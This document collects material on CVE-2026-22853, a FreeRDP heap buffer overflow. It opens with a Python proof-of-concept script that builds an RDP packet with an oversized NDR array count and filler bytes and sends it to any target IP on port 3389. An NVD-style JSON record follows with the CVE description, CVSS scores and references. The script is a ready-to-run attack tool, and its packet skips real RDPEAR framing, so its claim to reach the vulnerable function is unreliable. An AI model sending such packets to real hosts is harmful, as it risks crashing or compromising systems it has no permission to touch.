CVE-2026-22853

#!/usr/bin/env python3 # CVE-2026-22853 PoC - FreeRDP NDR Array Heap Buffer Overflow # This PoC demonstrates the heap buffer overflow in ndr_read_uint8Array import socket import struct import sys def create_malicious_rdp_packet(): """ Create a malicious RDP packet with oversized NDR array count """ # RDP Header packet = bytearray() # TPAcket Type: 0x17 for X.224 Data packet.extend(b'\x03\x00') # TPKT header packet.extend(b'\x00\x4c') # Length packet.extend(b'\x02\xf0\x80') # X.224 header # NDR Array with malicious count # NDR header indicating array data packet.extend(b'\x04') # NDR representation type # Malicious element count - exceeds allocated buffer # This triggers the heap overflow in ndr_read_uint8Array malicious_count = struct.pack('<I', 0xFFFFFFFF) # 4GB of elements packet.extend(malicious_count) # Add overflow payload overflow_payload = b'A' * 1024 packet.extend(overflow_payload) return bytes(packet) def exploit(target_ip, target_port=3389): """ Send malicious packet to target FreeRDP server/client """ print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Crafting malicious RDP packet...") payload = create_malicious_rdp_packet() try: print(f"[*] Sending exploit payload ({len(payload)} bytes)...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(payload) print(f"[+] Payload sent successfully") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 3389 exploit(target, port)

{"cve": {"id": "CVE-2026-22853", "sourceIdentifier": "[email protected]", "published": "2026-01-14T18:16:42.790", "lastModified": "2026-01-20T18:39:31.770", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.20.1, RDPEAR’s NDR array reader does not perform bounds checking on the on‑wire element count and can write past the heap buffer allocated from hints, causing a heap buffer overflow in ndr_read_uint8Array. This vulnerability is fixed in 3.20.1."}, {"lang": "es", "value": "FreeRDP es una implementación gratuita del Protocolo de Escritorio Remoto. Anterior a la 3.20.1, el lector de arrays NDR de RDPEAR no realiza comprobación de límites en el recuento de elementos en la transmisión y puede escribir más allá del búfer de pila asignado a partir de las sugerencias, causando un desbordamiento de búfer de pila en ndr_read_uint8Array. Esta vulnerabilidad está corregida en la 3.20.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.20.1", "matchCriteriaId": "1C802721-4198-476F-AE9E-78457C1CE38B"}]}]}], "references": [{"url": "https://github.com/FreeRDP/FreeRDP/releases/tag/3.20.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-47v9-p4gp-w5ch", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}